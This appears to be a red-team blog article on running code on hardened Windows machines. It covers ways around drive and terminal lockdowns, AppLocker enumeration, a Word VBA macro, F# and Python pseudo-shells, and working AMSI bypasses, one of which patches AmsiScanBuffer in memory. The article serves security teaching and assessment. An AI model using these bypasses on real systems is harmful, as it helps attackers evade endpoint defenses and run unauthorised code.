Code Execution
Introduction
One of our most formidable challenges in Red Team Operations is executing code on hardened systems after achieving initial access. Corporate environments often deploy robust defenses such as AppLocker and advanced Endpoint Detection and Response (EDR) software. These tools empower administrators to create rules based on diverse criteria, such as file paths, publishers, hashes, extensions, etc. These rules dictate which app can run, with enforcement possible on individual machines or entire network domains.
Yet, as with all security measures, these defenses are not impregnable. This article delves into advanced techniques for circumventing such restrictions, building upon our previous exploration of gaining initial access during Red Team Trickery. We will unravel the intricacies of these protective measures and reveal the subtle weaknesses that skilled operators can exploit. Enjoy reading!
THEORY – Understanding the Execution Phase
Execution is critical in the cyber attack lifecycle. The primary goal of this phase is to launch the terminal (cmd.exe
| powershell.exe
) or indirectly execute system commands to conduct malicious actions.
Execution consists of techniques that result in adversary-controlled code running on a local or remote system. Techniques that run malicious code are often paired with techniques from all other tactics to achieve broader goals, like exploring a network or stealing data. For example, an adversary might use a remote access tool to run a PowerShell script that does Remote System Discovery.
Execution, Tactic TA0002 – Enterprise | MITRE ATT&CK®
Key Aspects of Execution
- Versatility: Execution techniques can be employed at various stages of an attack, from initial access to impact. They serve as a bridge between different tactics, enabling adversaries to progress through their attack chain (like Privilege Escalation, Lateral Movement, Exfiltration…).
- Code Types: Execution can involve running scripts, binaries, commands, or even leveraging legitimate system utilities for malicious purposes. This versatility makes detection and prevention challenging (like executing Virtual Basic as Macro in Word).
- Privilege Levels: Execution techniques can operate at different privilege levels, from the user through the service to the system level, depending on the adversary’s current access and objectives (like running code in the web app context).
- Evasion Connection: Execution techniques are closely tied to Defense Evasion, as adversaries must often bypass security controls to execute their code successfully (like AMSI bypass).
Common Execution Techniques
In Execution, Tactic TA0002—Enterprise | MITRE ATT&CK®, we can read about various code execution techniques after gaining initial access to the target machine. Although these techniques are not up-to-date, they are still relevant and provide a good place to start. Below is a bullet list showing only the main points with a shorter description, just to illustrate the common techniques used by adversaries:
- Command and Scripting Interpreter: Utilizing built-in command-line interfaces or scripting languages like PowerShell, Python, or VBScript.
- Container Administration Command: Exploiting container management services like Docker daemon or Kubernetes API server to execute commands within containers.
- Deploy Container: Deploying malicious containers to facilitate execution or evade defenses.
- Exploitation for Client Execution: Targeting vulnerabilities in client applications to execute arbitrary code.
- Inter-Process Communication (IPC): Abusing IPC mechanisms for local code execution, including:
- Component Object Model (COM)
- Dynamic Data Exchange (DDE)
- XPC Services (macOS)
- Native API: Interacting directly with the OS’s native APIs to execute low-level system operations.
- Scheduled Task/Job: Abusing task scheduling functionalities across different operating systems:
- Windows Task Scheduler
- Unix cron jobs
- systemd timers
- Container orchestration jobs
- Serverless Execution: Exploiting serverless computing services in cloud environments to run malicious code.
- Shared Modules: Loading malicious shared modules to execute payloads within processes.
- Software Deployment Tools: Leveraging centralized software management tools like SCCM, Altiris, or cloud-based deployment managers.
- System Services: Abusing system services or daemons for command execution:
- User Execution (social engineering): Tricking users into running malicious content:
- Malicious links
- Malicious files
- Malicious images (including cloud service images and container images)
- Windows Management Instrumentation (WMI): Exploiting WMI to execute malicious commands and payloads.
- Cloud Administration Command: Abusing cloud management services like AWS Systems Manager or Azure RunCommand to execute commands in virtual machines.
The list includes various execution techniques, covering systems beyond Windows and methods specific to the cloud and containers. This variety is important because enterprise environments contain diverse components. This provides a comprehensive overview of how adversaries can achieve code execution across different environments and platforms. However, we will focus only on Windows here.
Importance in the Attack Chain
Execution is often where an attack transitions from potential to actual harm. It is the moment when the adversary’s code begins to operate on the target system actively, enabling further actions such as:
- Reconnaissance: Running scripts to gather system or network information.
- Privilege Escalation: Executing exploits to gain higher-level access.
- Lateral Movement: Launching tools to explore and spread within the network.
- Data Exfiltration: Running programs to locate and transmit sensitive data.
Defensive Considerations
To counter Execution techniques, defenders should focus on the following:
- Application control policies (like AppLocker) to restrict what can be executed.
- Script block logging and analysis to detect malicious scripts.
- Behavior-based detection to identify unusual execution patterns.
- Principle of least privilege to limit the impact of successful Execution.
- Regular system audits to detect unauthorized scheduled tasks or deployed software.
To produce a diamond, it must be placed under extreme pressure. The same principle applies to system security. One of the most effective methods for securing systems is to subject them to red team assessments. AFINE can provide this service for you!
Conclusion
Understanding these techniques is crucial for both red and blue teams. It is a strong foundation for developing and testing various code execution methods. For defenders, it emphasizes the importance of monitoring and controlling the code that can run in their environment. For security researchers, it serves as a starting point for developing new execution techniques.
PRACTICE – Execution Policy Bypasses
This is the second part of the article, where various scenarios from the Execution phase will be presented. We just got initial access to one of the targeted company employee machines.
During reconnaissance, we discovered we have access to the Windows machine that is part of the company’s internal infrastructure through Citrix Workspace. We can access this internal system.
However, the system looks hardened after logging in since we cannot access the C:/ drive or launch the terminal. It looks like we are working from a mounted network share. This is our starting point:
Bypassing anti-recon policies
In such a scenario, the first thing we should achieve is bypassing the restriction to the machine’Ss local drives. Our main objective is to access C:/ drive to enumerate installed software and access.
On the desktop, we can see that the Chrome browser is installed. We can use it to bypass the restriction by browsing to: file:///C:/
(we could also use Edge, which comes as default software):
However, the first bypass deprives us of the powers of File Explorer, such as the ability to move, delete, and modify data. Here comes the better way, which is using the Windows search bar to enumerate software installed by default on the local C:/ drive and then using the Open file location to access it:
This trick opens File Explorer indirectly through the search bar, bypassing the restriction. It shows us the content of the C:/Windows/System32 directory
and gives us an “upgraded” File Explorer, which we can freely use to traverse other directories:
Another way that can work as a bypass for such restrictions is to use shortcuts. We create on the desktop a shortcut to the C:/
path and then double-click on it to again launch an “upgraded explorer”:
The last universal bypass we can use is Run Dialog. We can spawn it using the Win+R
combination or directly in the Windows Search bar, but this time, we do not use the Open File location. Instead, we click on the program to run. The trick is to search for the C:
and then click on it:
If the above methods do not work for your assessment, you should enumerate as much software as possible and try each of them that you have access to open common files & directories from C:/ such as:
C:/
C:/Windows/Tasks
C:/Windows/System32/cmd.exe
After accessing the local machine’s C:/ drive, we can further enumerate installed software that could help execute code. During enumeration, we should keep in mind the theory we introduced above.
Enumerating Policies
Common methods for enumeration do not work, as they require access to Powershell, Terminal, or Registers. If we have access to the Powershell, we could enumerate the App Locker policy like this:
# XML format:
Get-AppLockerPolicy -Effective -XML > AppLockerPolicy.xml
# Human readable format:
Get-AppLockerPolicy -Effective | Format-List
# Even more readable format:
Import-Module AppLocker
Get-AppLockerPolicy -Effective | Get-AppLockerFileInformation -EventLog -Statistics | Format-List
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
# From registers:
Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Exe
In the case of a Windows Terminal (cmd.exe
), we could use the below command instead:
# Checking if App Locker is running
sc query appidsvc
# Dumping all policies (GPO & App Locker)
gpresult /r > gpresult_output.txt
At last, if we have access to registers, the command looks like below:
reg export "HKLM\SOFTWARE\Policies\Microsoft\Windows\SrpV2" AppLockerPolicy.reg
Unfortunately, we often do not have access to the above methods on hardened systems. Here comes again the Run Dialog
, which we can use to run gpresult
commands similarly like in cmd.exe
:
gpresult /h C:\temp\gp_security.html /f
We could also just use gpedit.msc
to view policies:
However, this will lack the restrictions created directly in the registers, such as the one shown below.
Old but gold – Word VBS
Okay, we bypassed the anti-recon policies. We accessed the C:/
drive. Now, it is the time to execute. First, we can try to create and execute the VBS script from the Desktop. However, this is blocked:
It is because Enabled
in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
is set to 0
. It blocks the WSH, which is our default VBS interpreter on Windows.
Fortunatelly for us, there is Microsoft Office Word. We can use Macro functionalities to execute VBS. Below is the simple PoC code that shows how to use Windows low-level API to execute commands.
This will bypass both cmd.exe
restrictions (we are not spawning terminal) and WSH restrictions. The code just saves the output of the whoami
command to the C:/temp/test.txt
file:
Option Explicit
Private Declare PtrSafe Function CreatePipe Lib "kernel32" ( _
phReadPipe As LongPtr, _
phWritePipe As LongPtr, _
lpPipeAttributes As Any, _
ByVal nSize As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "kernel32" ( _
ByVal lpApplicationName As LongPtr, _
ByVal lpCommandLine As String, _
ByVal lpProcessAttributes As LongPtr, _
ByVal lpThreadAttributes As LongPtr, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As LongPtr, _
ByVal lpCurrentDirectory As LongPtr, _
lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function ReadFile Lib "kernel32" ( _
ByVal hFile As LongPtr, _
lpBuffer As Any, _
ByVal nNumberOfBytesToRead As Long, _
lpNumberOfBytesRead As Long, _
ByVal lpOverlapped As LongPtr) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" ( _
ByVal hObject As LongPtr) As Long
Private Declare PtrSafe Function SetHandleInformation Lib "kernel32" ( _
ByVal hObject As LongPtr, _
ByVal dwMask As Long, _
ByVal dwFlags As Long) As Long
Private Type STARTUPINFO
cb As Long
lpReserved As LongPtr
lpDesktop As LongPtr
lpTitle As LongPtr
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Const CREATE_NO_WINDOW As Long = &H8000000
Private Const STARTF_USESTDHANDLES As Long = &H100
Private Const HANDLE_FLAG_INHERIT As Long = &H1
Public Sub RunWhoAmI()
Dim si As STARTUPINFO
Dim pi As PROCESS_INFORMATION
Dim hRead As LongPtr
Dim hWrite As LongPtr
Dim sa As SECURITY_ATTRIBUTES
Dim buffer(1024) As Byte
Dim bytesRead As Long
Dim command As String
Dim filePath As String
Dim fileNum As Integer
' Initialize security attributes
sa.nLength = Len(sa)
sa.lpSecurityDescriptor = 0
sa.bInheritHandle = 1
' Create a pipe for the child process's STDOUT
If CreatePipe(hRead, hWrite, sa, 0) = 0 Then
MsgBox "Failed to create pipe."
Exit Sub
End If
' Ensure the read handle to the pipe for STDOUT is not inherited
If SetHandleInformation(hRead, HANDLE_FLAG_INHERIT, 0) = 0 Then
MsgBox "Failed to set handle information."
Exit Sub
End If
' Initialize the STARTUPINFO structure
si.cb = Len(si)
si.dwFlags = STARTF_USESTDHANDLES
si.hStdOutput = hWrite
si.hStdError = hWrite
' Prepare the command to run
command = "whoami"
' Create the child process
If CreateProcessA(0, command, 0, 0, 1, CREATE_NO_WINDOW, 0, 0, si, pi) = 0 Then
MsgBox "Failed to create process."
Exit Sub
End If
' Close the write end of the pipe before reading from the read end of the pipe
CloseHandle hWrite
' Read output from the child process
filePath = "C:\temp\test.txt"
fileNum = FreeFile
Open filePath For Output As #fileNum
Do While ReadFile(hRead, buffer(0), UBound(buffer), bytesRead, ByVal 0&) <> 0 And bytesRead > 0
Print #fileNum, Left$(StrConv(buffer, vbUnicode), bytesRead)
Loop
Close #fileNum
' Close the handles
CloseHandle hRead
CloseHandle pi.hProcess
CloseHandle pi.hThread
MsgBox "Output written to " & filePath
End Sub
After executing the macro, we can see the test.txt
file with the output:
Surprisingly, this bypass often works on the Hardening assessment.
Dotnet F#
Generally, having dotnet installed in a hardened environment is not a good idea. However, it can also be restricted to allow only specific commands or to not run at all. In our case, it only allowed fsi
argument.
# The FSI executable can be found here:
C:\Program Files\dotnet\sdk\[sdk version]\FSharp\fsi.exe
C:\Program Files (x86)\Microsoft Visual Studio\2019\Professional\Common7\IDE\CommonExtensions\Microsoft\FSharp\fsi.exe
It is possible to utilize the F# to execute system commands like this:
open System
type ProcessResult = {
ExitCode : int;
StdOut : string;
StdErr : string
}
let executeProcess (processName: string) (processArgs: string) =
let psi = new Diagnostics.ProcessStartInfo(processName, processArgs)
psi.UseShellExecute <- false
psi.RedirectStandardOutput <- true
psi.RedirectStandardError <- true
psi.CreateNoWindow <- true
let proc = Diagnostics.Process.Start(psi)
let output = new Text.StringBuilder()
let error = new Text.StringBuilder()
proc.OutputDataReceived.Add(fun args -> output.Append(args.Data) |> ignore)
proc.ErrorDataReceived.Add(fun args -> error.Append(args.Data) |> ignore)
proc.BeginErrorReadLine()
proc.BeginOutputReadLine()
proc.WaitForExit()
{ ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() };;
let result = executeProcess "whoami" ""
printfn "StdOut: %s" result.StdOut;;
We can also modify the above code to build a pseudo-terminal:
open System
open System.Diagnostics
type ProcessResult = {
ExitCode : int;
StdOut : string;
StdErr : string
}
let executeProcess (processName: string) (processArgs: string) : ProcessResult =
let psi = new ProcessStartInfo(processName, processArgs)
psi.UseShellExecute <- false
psi.RedirectStandardOutput <- true
psi.RedirectStandardError <- true
psi.CreateNoWindow <- true
let output = new System.Text.StringBuilder()
let error = new System.Text.StringBuilder()
try
use proc = Process.Start(psi)
proc.OutputDataReceived.Add(fun args -> output.AppendLine(args.Data) |> ignore)
proc.ErrorDataReceived.Add(fun args -> error.AppendLine(args.Data) |> ignore)
proc.BeginErrorReadLine()
proc.BeginOutputReadLine()
proc.WaitForExit()
{ ExitCode = proc.ExitCode; StdOut = output.ToString(); StdErr = error.ToString() }
with
| :? System.ComponentModel.Win32Exception as win32Ex ->
{ ExitCode = -1; StdOut = ""; StdErr = sprintf "Win32 Exception: %s" win32Ex.Message }
| ex ->
{ ExitCode = -1; StdOut = ""; StdErr = sprintf "Exception: %s" ex.Message }
// Function to parse the user command and execute it
let rec executeTerminalCommand () =
printf "> "
let command = System.Console.ReadLine()
match command.ToLowerInvariant() with
| "exit" -> printfn "Exiting..."
| "" -> executeTerminalCommand () // Handle empty input
| _ ->
let parts = command.Split [| ' ' |] // Split command into parts by spaces
let cmd = parts.[0]
let args = String.Join(" ", parts.[1..]) // Join the remaining parts as arguments
let result = executeProcess cmd args
printfn "Exit Code: %d" result.ExitCode
if not (String.IsNullOrWhiteSpace result.StdOut) then printfn "StdOut:\n%s" result.StdOut
if not (String.IsNullOrWhiteSpace result.StdErr) then printfn "StdErr:\n%s" result.StdErr
executeTerminalCommand ()
// Entry point
executeTerminalCommand ()
This bypass, however, is not as common as the one shown above with Word because dotnet is usually not installed, and when it is, it is completely blocked. The purpose of showing it here is to draw attention to checking each argument and function of a given tool we can access.
Windows signed Software – Microsoft Store
The App Locker policy is commonly configured to allow Windows or Store-signed software to run on the machine. This point shows why allowing unrestricted access to the Microsoft Store is a bad idea.
The Microsoft Store allows the installation of various third-party software. Even if the installation was blocked with msi.exe
, this can bypass it and install third-party software. It is a huge hole in the host hardening. Unfortunately, it is commonly seen in assessments. The most straightforward usage of this for execution restriction bypass is installing an interpreter, such as Python.
Python
We cannot use run import os; os.system('whoami')
as this executes cmd.exe
underneath and is blocked by the App Locker policy. We need a similar way to the one used in the Word bypass case.
Fortunatelly, the subprocess
allows us to execute system commands not in the context of cmd.exe
. The trick here is to use shell=False
:
import subprocess;
subprocess.run(["whoami"], shell=False, stdout=subprocess.PIPE)
Having that information, we can build a simple wrapper like the one below:
import subprocess;
def cmd(command):
print(subprocess.run(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout)
We can go one step further with that and build a pseudo-terminal like with F#:
import subprocess
def custom_cmd():
while True:
user_input = input("CustomShell> ")
if user_input.lower() == "exit":
break
args = user_input.split()
result = subprocess.run(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
print(result.stdout)
if result.stderr:
print("Error:", result.stderr)
custom_cmd()
This way, we can execute system commands similarly to cmd.exe
.
A word about AMSI
If we somehow manage to use Powershell commands (for instance, using the .NET Framework with System.Management.Automation
namespace in C# to execute commands programmatically), we can face a Microsoft Defender that blocks us from running some commands.
AMSI.DLL is loaded from the disk into its address space when a PowerShell process is created. The Microsoft Defender would first scan any supplied content before execution.
In the corporate environment, a commonly known amsiInitFailed bypass that allows the detachment of AMSI.dll is blocked most of the time by some rules. Here is a code of the the common bypass:
$a = [Ref].Assembly.GetTypes()
ForEach($b in $a) {if ($b.Name -like '*iUtils') {$c = $b}}
$d = $c.GetFields('NonPublic,Static')
ForEach($e in $d) {if ($e.Name -like '*Failed') {$f = $e}}
$f.SetValue($null,$true)
However, due to the nature of Powershell, it is, unfortunately, impossible to fully patch this universal bypass, and the attacker can obfuscate it. The example obfuscated bypass is shown below:
$R=[Ref]."Assembly"
$T='S'+'y'+'st'+'em.'+'Ma'+'na'+'gement.'+'Auto'+'mat'+'ion.'+'Amsi'+'U'+'tils'
$G='Get'+'Type'
$F='Get'+'Fie'+'ld'
$V='Set'+'Va'+'lue'
$F2='Non'+'Public,'+'Static'
$R.$G($T).$F('amsi'+'Init'+'Failed',$F2).$V($null,$true)
Another way is to obfuscate commands using AMSI.fail, which generates obfuscated PowerShell snippets that similarly break or disable AMSI for the current process.
It is important to remember that another restriction, .NET AMSI, works even when AMSI.dll is bypassed using the above techniques. Fortunatelly for the attackers (and not for defenders), there is also a way:
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
$XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
$p = 0
[ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
[System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)
Microsoft Defender is always used on Windows machines, so it is good to remember these bypasses.
Persistence – the next step
Although unnecessary, the attacker usually only conducts malicious actions on the compromised system when persistence is maintained, which is the next step in the attack chain. Whether the attacker decides to set up a trap that will allow him to return to the system easily or not, the Execution phase described in this article cannot be omitted to achieve something during the real attack.
Final words
The article only briefly covered bypassing anti-code execution policies on Windows. The methods mentioned are still effective, but many more exist, and they depend on the policies implemented and their misconfiguration. The links below are worth checking regarding the bypassing restriction topic:
If you are interested in Windows security and Red Teaming, I recommend following Grzegorz Tworek. If the content here is challenging to grasp but you want to start learning, the OSEP is a good start.
I also encourage you to visit our AFINE blog regularly for new knowledge. I hope you like it!